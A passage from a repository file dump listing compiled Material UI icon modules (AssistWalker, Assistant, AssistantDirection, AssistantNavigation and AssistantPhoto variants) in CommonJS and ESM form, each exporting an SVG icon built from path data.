    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12.5\",\n  cy: \"4.5\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.77 17.72-.64-6.37c-.07-.77-.72-1.35-1.49-1.35H16c-1.5-.02-2.86-.54-3.76-1.44l-2-1.98C10.08 6.42 9.62 6 8.83 6c-.51 0-1.02.2-1.41.59L4.08 9.91c-.53.68-.51 1.57-.21 2.13l1.43 2.8-3.15 4.05 1.57 1.24L7.4 15.4l-.17-1.36.77.71V20h2v-6.12l-2.12-2.12 2.36-2.36c.94.94 1.72 1.82 3.59 2.32L13 20h1.5l.41-3.5h3.18l.14 1.22c-.44.26-.73.74-.73 1.28 0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5c0-.54-.29-1.02-.73-1.28M15.09 15l.41-3.5h2l.41 3.5z\"\n}, \"1\")], 'AssistWalkerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssistWalkerOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12.5\",\n  cy: \"4.5\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.77 17.72-.64-6.37c-.07-.77-.72-1.35-1.49-1.35H16c-1.5-.02-2.86-.54-3.76-1.44l-2-1.98C10.08 6.42 9.62 6 8.83 6c-.51 0-1.02.2-1.41.59L4.08 9.91c-.53.68-.51 1.57-.21 2.13l1.43 2.8-3.15 4.05 1.57 1.24L7.4 15.4l-.17-1.36.77.71V20h2v-6.12l-2.12-2.12 2.36-2.36c.94.94 1.72 1.82 3.59 2.32L13 20h1.5l.41-3.5h3.18l.14 1.22c-.44.26-.73.74-.73 1.28 0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5c0-.54-.29-1.02-.73-1.28M15.09 15l.41-3.5h2l.41 3.5z\"\n}, \"1\")], 'AssistWalkerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssistWalkerRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12.5\",\n  cy: \"4.5\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.77 17.72-.64-6.37c-.07-.77-.72-1.35-1.49-1.35H16c-1.5-.02-2.86-.54-3.76-1.44l-2-1.98C10.08 6.42 9.62 6 8.83 6c-.51 0-1.02.2-1.41.59L4.08 9.91c-.53.68-.51 1.57-.21 2.13l1.43 2.8-2.55 3.26c-.34.43-.26 1.06.17 1.4.44.34 1.07.26 1.41-.17l2.56-3.29c.33-.42.47-.95.41-1.48l-.07-.53.77.72V19c0 .55.45 1 1 1s1-.45 1-1v-4.29c0-.53-.21-1.04-.59-1.41l-1.53-1.53 2.36-2.36c.94.94 1.72 1.82 3.59 2.32l-.75 7.46c-.04.44.3.83.75.83.38 0 .7-.29.75-.66l.33-2.84h3.18l.14 1.22c-.44.26-.73.74-.73 1.28 0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5c0-.56-.29-1.04-.73-1.3M15.09 15l.41-3.5h2l.41 3.5z\"\n}, \"1\")], 'AssistWalkerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssistWalkerRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12.5\",\n  cy: \"4.5\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.77 17.72-.64-6.37c-.07-.77-.72-1.35-1.49-1.35H16c-1.5-.02-2.86-.54-3.76-1.44l-2-1.98C10.08 6.42 9.62 6 8.83 6c-.51 0-1.02.2-1.41.59L4.08 9.91c-.53.68-.51 1.57-.21 2.13l1.43 2.8-2.55 3.26c-.34.43-.26 1.06.17 1.4.44.34 1.07.26 1.41-.17l2.56-3.29c.33-.42.47-.95.41-1.48l-.07-.53.77.72V19c0 .55.45 1 1 1s1-.45 1-1v-4.29c0-.53-.21-1.04-.59-1.41l-1.53-1.53 2.36-2.36c.94.94 1.72 1.82 3.59 2.32l-.75 7.46c-.04.44.3.83.75.83.38 0 .7-.29.75-.66l.33-2.84h3.18l.14 1.22c-.44.26-.73.74-.73 1.28 0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5c0-.56-.29-1.04-.73-1.3M15.09 15l.41-3.5h2l.41 3.5z\"\n}, \"1\")], 'AssistWalkerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssistWalkerSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12.5\",\n  cy: \"4.5\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.77 17.72 19 10h-3c-1.5-.02-2.86-.54-3.76-1.44l-2-1.98C10.08 6.42 9.62 6 8.83 6c-.51 0-1.02.2-1.41.59l-4.2 4.17 2.08 4.07-3.15 4.05 1.57 1.24 3.68-4.73-.17-1.36.77.72V20h2v-6.12l-2.12-2.12 2.36-2.36c.94.94 1.72 1.82 3.59 2.32L13 20h1.5l.41-3.5h3.18l.14 1.22c-.44.26-.73.74-.73 1.28 0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5c0-.54-.29-1.02-.73-1.28M15.09 15l.41-3.5h2l.41 3.5z\"\n}, \"1\")], 'AssistWalkerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssistWalkerSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12.5\",\n  cy: \"4.5\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.77 17.72 19 10h-3c-1.5-.02-2.86-.54-3.76-1.44l-2-1.98C10.08 6.42 9.62 6 8.83 6c-.51 0-1.02.2-1.41.59l-4.2 4.17 2.08 4.07-3.15 4.05 1.57 1.24 3.68-4.73-.17-1.36.77.72V20h2v-6.12l-2.12-2.12 2.36-2.36c.94.94 1.72 1.82 3.59 2.32L13 20h1.5l.41-3.5h3.18l.14 1.22c-.44.26-.73.74-.73 1.28 0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5c0-.54-.29-1.02-.73-1.28M15.09 15l.41-3.5h2l.41 3.5z\"\n}, \"1\")], 'AssistWalkerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssistWalkerTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12.5\",\n  cy: \"4.5\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.77 17.72-.64-6.37c-.07-.77-.72-1.35-1.49-1.35H16c-1.5-.02-2.86-.54-3.76-1.44l-2-1.98C10.08 6.42 9.62 6 8.83 6c-.51 0-1.02.2-1.41.59L4.08 9.91c-.53.68-.51 1.57-.21 2.13l1.43 2.8-3.15 4.05 1.57 1.24L7.4 15.4l-.17-1.36.77.71V20h2v-6.12l-2.12-2.12 2.36-2.36c.94.94 1.72 1.82 3.59 2.32L13 20h1.5l.41-3.5h3.18l.14 1.22c-.44.26-.73.74-.73 1.28 0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5c0-.54-.29-1.02-.73-1.28M15.09 15l.41-3.5h2l.41 3.5z\"\n}, \"1\")], 'AssistWalkerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssistWalkerTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12.5\",\n  cy: \"4.5\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.77 17.72-.64-6.37c-.07-.77-.72-1.35-1.49-1.35H16c-1.5-.02-2.86-.54-3.76-1.44l-2-1.98C10.08 6.42 9.62 6 8.83 6c-.51 0-1.02.2-1.41.59L4.08 9.91c-.53.68-.51 1.57-.21 2.13l1.43 2.8-3.15 4.05 1.57 1.24L7.4 15.4l-.17-1.36.77.71V20h2v-6.12l-2.12-2.12 2.36-2.36c.94.94 1.72 1.82 3.59 2.32L13 20h1.5l.41-3.5h3.18l.14 1.22c-.44.26-.73.74-.73 1.28 0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5c0-.54-.29-1.02-.73-1.28M15.09 15l.41-3.5h2l.41 3.5z\"\n}, \"1\")], 'AssistWalkerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Assistant.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h4l3 3 3-3h4c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-5.12 10.88L12 17l-1.88-4.12L6 11l4.12-1.88L12 5l1.88 4.12L18 11z\"\n}), 'Assistant');"
  },
  {
    "path": "packages/mui-icons-material/lib/Assistant.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h4l3 3 3-3h4c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-5.12 10.88L12 17l-1.88-4.12L6 11l4.12-1.88L12 5l1.88 4.12L18 11z\"\n}), 'Assistant');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssistantDirection.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 10H9c-.6 0-1 .4-1 1v4h2v-3h4v2.5l3.5-3.5L14 7.5zm-2-9C5.9 1 1 5.9 1 12s4.9 11 11 11 11-4.9 11-11S18.1 1 12 1m7.73 11.58-7.19 7.22c-.35.27-.79.27-1.15 0L4.2 12.58c-.27-.36-.27-.8 0-1.16l7.19-7.22c.35-.27.79-.27 1.15 0l7.19 7.22c.36.27.36.8 0 1.16\"\n}), 'AssistantDirection');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssistantDirection.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 10H9c-.6 0-1 .4-1 1v4h2v-3h4v2.5l3.5-3.5L14 7.5zm-2-9C5.9 1 1 5.9 1 12s4.9 11 11 11 11-4.9 11-11S18.1 1 12 1m7.73 11.58-7.19 7.22c-.35.27-.79.27-1.15 0L4.2 12.58c-.27-.36-.27-.8 0-1.16l7.19-7.22c.35-.27.79-.27 1.15 0l7.19 7.22c.36.27.36.8 0 1.16\"\n}), 'AssistantDirection');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssistantDirectionOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 1C5.9 1 1 5.9 1 12s4.9 11 11 11 11-4.9 11-11S18.1 1 12 1m0 20c-4.99 0-9-4.01-9-9s4.01-9 9-9 9 4.01 9 9-4.01 9-9 9\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.73 11.42 12.54 4.2c-.36-.27-.8-.27-1.15 0L4.2 11.42c-.27.36-.27.8 0 1.16l7.19 7.22c.36.27.8.27 1.15 0l7.19-7.22c.36-.36.36-.89 0-1.16M13.5 14.5l-1.41-1.41L13.17 12H10v3H8v-4c0-.6.4-1 1-1h4.17l-1.09-1.09L13.5 7.5 17 11z\"\n}, \"1\")], 'AssistantDirectionOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssistantDirectionOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 1C5.9 1 1 5.9 1 12s4.9 11 11 11 11-4.9 11-11S18.1 1 12 1m0 20c-4.99 0-9-4.01-9-9s4.01-9 9-9 9 4.01 9 9-4.01 9-9 9\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.73 11.42 12.54 4.2c-.36-.27-.8-.27-1.15 0L4.2 11.42c-.27.36-.27.8 0 1.16l7.19 7.22c.36.27.8.27 1.15 0l7.19-7.22c.36-.36.36-.89 0-1.16M13.5 14.5l-1.41-1.41L13.17 12H10v3H8v-4c0-.6.4-1 1-1h4.17l-1.09-1.09L13.5 7.5 17 11z\"\n}, \"1\")], 'AssistantDirectionOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssistantDirectionRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.5 10H9c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1s1-.45 1-1v-2h3.5v1.29c0 .45.54.67.85.35l2.29-2.29c.2-.2.2-.51 0-.71l-2.29-2.29c-.31-.31-.85-.09-.85.35zM12 1C5.9 1 1 5.9 1 12s4.9 11 11 11 11-4.9 11-11S18.1 1 12 1m7.73 11.58-7.19 7.22c-.35.27-.79.27-1.15 0L4.2 12.58c-.27-.36-.27-.8 0-1.16l7.19-7.22c.35-.27.79-.27 1.15 0l7.19 7.22c.36.27.36.8 0 1.16\"\n}), 'AssistantDirectionRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssistantDirectionRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.5 10H9c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1s1-.45 1-1v-2h3.5v1.29c0 .45.54.67.85.35l2.29-2.29c.2-.2.2-.51 0-.71l-2.29-2.29c-.31-.31-.85-.09-.85.35zM12 1C5.9 1 1 5.9 1 12s4.9 11 11 11 11-4.9 11-11S18.1 1 12 1m7.73 11.58-7.19 7.22c-.35.27-.79.27-1.15 0L4.2 12.58c-.27-.36-.27-.8 0-1.16l7.19-7.22c.35-.27.79-.27 1.15 0l7.19 7.22c.36.27.36.8 0 1.16\"\n}), 'AssistantDirectionRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssistantDirectionSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.5 10H8v5h2v-3h3.5v2.5L17 11l-3.5-3.5zM12 1C5.9 1 1 5.9 1 12s4.9 11 11 11 11-4.9 11-11S18.1 1 12 1m8.31 11-8.34 8.37L3.62 12l8.34-8.37z\"\n}), 'AssistantDirectionSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssistantDirectionSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.5 10H8v5h2v-3h3.5v2.5L17 11l-3.5-3.5zM12 1C5.9 1 1 5.9 1 12s4.9 11 11 11 11-4.9 11-11S18.1 1 12 1m8.31 11-8.34 8.37L3.62 12l8.34-8.37z\"\n}), 'AssistantDirectionSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssistantDirectionTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3c-4.99 0-9 4.01-9 9s4.01 9 9 9 9-4.01 9-9-4.01-9-9-9m.54 16.8c-.35.27-.79.27-1.15 0L4.2 12.58c-.27-.36-.27-.8 0-1.16l7.19-7.22c.35-.27.79-.27 1.15 0l7.19 7.22c.36.27.36.8 0 1.16z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 1C5.9 1 1 5.9 1 12s4.9 11 11 11 11-4.9 11-11S18.1 1 12 1m0 20c-4.99 0-9-4.01-9-9s4.01-9 9-9 9 4.01 9 9-4.01 9-9 9\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.73 11.42 12.54 4.2c-.36-.27-.8-.27-1.15 0L4.2 11.42c-.27.36-.27.8 0 1.16l7.19 7.22c.36.27.8.27 1.15 0l7.19-7.22c.36-.36.36-.89 0-1.16M13.5 14.5V12H10v3H8v-4c0-.6.4-1 1-1h4.5V7.5L17 11z\"\n}, \"2\")], 'AssistantDirectionTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssistantDirectionTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3c-4.99 0-9 4.01-9 9s4.01 9 9 9 9-4.01 9-9-4.01-9-9-9m.54 16.8c-.35.27-.79.27-1.15 0L4.2 12.58c-.27-.36-.27-.8 0-1.16l7.19-7.22c.35-.27.79-.27 1.15 0l7.19 7.22c.36.27.36.8 0 1.16z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 1C5.9 1 1 5.9 1 12s4.9 11 11 11 11-4.9 11-11S18.1 1 12 1m0 20c-4.99 0-9-4.01-9-9s4.01-9 9-9 9 4.01 9 9-4.01 9-9 9\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.73 11.42 12.54 4.2c-.36-.27-.8-.27-1.15 0L4.2 11.42c-.27.36-.27.8 0 1.16l7.19 7.22c.36.27.8.27 1.15 0l7.19-7.22c.36-.36.36-.89 0-1.16M13.5 14.5V12H10v3H8v-4c0-.6.4-1 1-1h4.5V7.5L17 11z\"\n}, \"2\")], 'AssistantDirectionTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssistantNavigation.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 1C5.93 1 1 5.93 1 12s4.93 11 11 11 11-4.93 11-11S18.07 1 12 1m3.57 16L12 15.42 8.43 17l-.37-.37L12 7l3.95 9.63z\"\n}), 'AssistantNavigation');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssistantNavigation.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 1C5.93 1 1 5.93 1 12s4.93 11 11 11 11-4.93 11-11S18.07 1 12 1m3.57 16L12 15.42 8.43 17l-.37-.37L12 7l3.95 9.63z\"\n}), 'AssistantNavigation');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssistantOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h4l3 3 3-3h4c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 16h-4.83l-.59.59L12 20.17l-1.59-1.59-.58-.58H5V4h14zm-7-1 1.88-4.12L18 11l-4.12-1.88L12 5l-1.88 4.12L6 11l4.12 1.88z\"\n}), 'AssistantOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssistantOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h4l3 3 3-3h4c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 16h-4.83l-.59.59L12 20.17l-1.59-1.59-.58-.58H5V4h14zm-7-1 1.88-4.12L18 11l-4.12-1.88L12 5l-1.88 4.12L6 11l4.12 1.88z\"\n}), 'AssistantOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssistantPhoto.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.4 6 14 4H5v17h2v-7h5.6l.4 2h7V6z\"\n}), 'AssistantPhoto');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssistantPhoto.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.4 6 14 4H5v17h2v-7h5.6l.4 2h7V6z\"\n}), 'AssistantPhoto');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssistantPhotoOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12.36 6 .08.39.32 1.61H18v6h-3.36l-.08-.39-.32-1.61H7V6zM14 4H5v17h2v-7h5.6l.4 2h7V6h-5.6z\"\n}), 'AssistantPhotoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssistantPhotoOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12.36 6 .08.39.32 1.61H18v6h-3.36l-.08-.39-.32-1.61H7V6zM14 4H5v17h2v-7h5.6l.4 2h7V6h-5.6z\"\n}), 'AssistantPhotoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssistantPhotoRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14.4 6-.24-1.2c-.09-.46-.5-.8-.98-.8H6c-.55 0-1 .45-1 1v15c0 .55.45 1 1 1s1-.45 1-1v-6h5.6l.24 1.2c.09.47.5.8.98.8H19c.55 0 1-.45 1-1V7c0-.55-.45-1-1-1z\"\n}), 'AssistantPhotoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssistantPhotoRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14.4 6-.24-1.2c-.09-.46-.5-.8-.98-.8H6c-.55 0-1 .45-1 1v15c0 .55.45 1 1 1s1-.45 1-1v-6h5.6l.24 1.2c.09.47.5.8.98.8H19c.55 0 1-.45 1-1V7c0-.55-.45-1-1-1z\"\n}), 'AssistantPhotoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssistantPhotoSharp.js",
